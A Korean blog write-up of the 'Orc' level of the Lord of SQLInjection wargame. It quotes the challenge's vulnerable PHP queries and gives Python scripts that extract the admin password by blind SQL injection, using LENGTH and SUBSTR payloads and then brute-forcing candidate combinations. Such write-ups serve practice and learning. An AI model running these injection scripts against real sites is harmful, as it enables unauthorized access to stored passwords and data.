Season 1/워게임

[Lord of SQLInjection] Orc Write UP

작성자 - LRTK

이번엔 두 개의 쿼리문으로 문제를 만들었다.

 

$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello admin</h2>"; 

첫번째 쿼리문이다. 쿼리의 결과 id가 admin일 때, <h2>Hello admin</h2>를 출력한다.

 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

첫번째 쿼리문을 지나고, 두번째 쿼리문을 처리한다.
두번째 쿼리문은 pw를 반환하는 쿼리문이며, 결과값에 결과값의 pw이 있어야하고 결과값의 pw와 Get 메소드로 넘진 pw의 값이 같아야 flag를 획득할 수 있다.

 

여기서 주의할 점은 두번째 쿼리문은 Get 메소드의 pw 파라미터 값을 addslashes 함수로 여러 특수문자들을 사용하지 못하게 치환을 한다.

addslashes 함수
‘, “, , Null 바이트 -> \’, \”, \, \Null 바이트

일단 나는 select id from prob_orc where id='admin' and pw='' or 1=1#'를 통해 첫번째 쿼리문을 통과할 것이다.

 

이렇게 되면 두번째 쿼리문은 select id from prob_orc where id='admin' and pw='\' or 1=1#'으로 되기 때문에 and을 이용할 것이다.

 


LENGTH 함수를 이용하여 admin의 pw 길이를 구할 것이다.

 

나는 파이썬을 이용하여 pw 길이와 pw를 찾아보도록 하겠다.

import requests, string

def pwLength(url:str):
    headers = {'Cookie': 'PHPSESSID=5u4nc0bc244qd2nohh2190klcv'}

    for num in range(1, 100):
        parameter = f"?pw=' or LENGTH(pw)={num}%23"
        res = requests.get(url + parameter, headers=headers)

        if 'Hello admin' in res.text:
            print(f'pw의 길이 >>>>', num)
    print('----------------------------------')

def pwParser(url:str):
    headers = {'Cookie': 'PHPSESSID=5u4nc0bc244qd2nohh2190klcv'}

    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw=' or SUBSTR(pw,{num},1)={hex(ord(s))}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
        print('----------------------------------')

if __name__ == '__main__':
    url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
    pwLength(url)
    pwParser(url)

pw의 길이를 구해보니, 2개의 값이 나왔다.
아마 두 개의 pw가 저장되어서 이러한 결과가 나온 듯 하다.

 

각 자리의 값들을 출력한 결과 꽤 많은 값들이 나왔다.

 

일단 4자리 패스워드부터 찾아보도록 하겠다.

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

headers = {'Cookie': 'PHPSESSID=5u4nc0bc244qd2nohh2190klcv'}
for a in 'd0':
    for b in 'j9':
        for c in 'f5':
            for d in 'ak':
                pw = a+b+c+d
                print(pw, end=' ')
                res = requests.get(url + f'?pw={pw}', headers=headers)

                if 'Hello admin' in res.text:
                    print('True')
                else:
                    print('False')

모든 경우의 수를 넣어봤지만, 로그인을 할 수 없었다.


현재 pw를 검사하는 것은 8자리 pw를 검사하는 듯하다.

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

headers = {'Cookie': 'PHPSESSID=5u4nc0bc244qd2nohh2190klcv'}
for a in 'd0':
    for b in 'j9':
        for c in 'f5':
            for d in 'ak':
                pw = a+b+c+d+'9852'
                print(pw, end=' ')
                res = requests.get(url + f'?pw={pw}', headers=headers)

                if 'Hello admin' in res.text:
                    print('True')
                else:
                    print('False')

로그인을 성공한 pw를 찾을 수 있었다.

 

Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.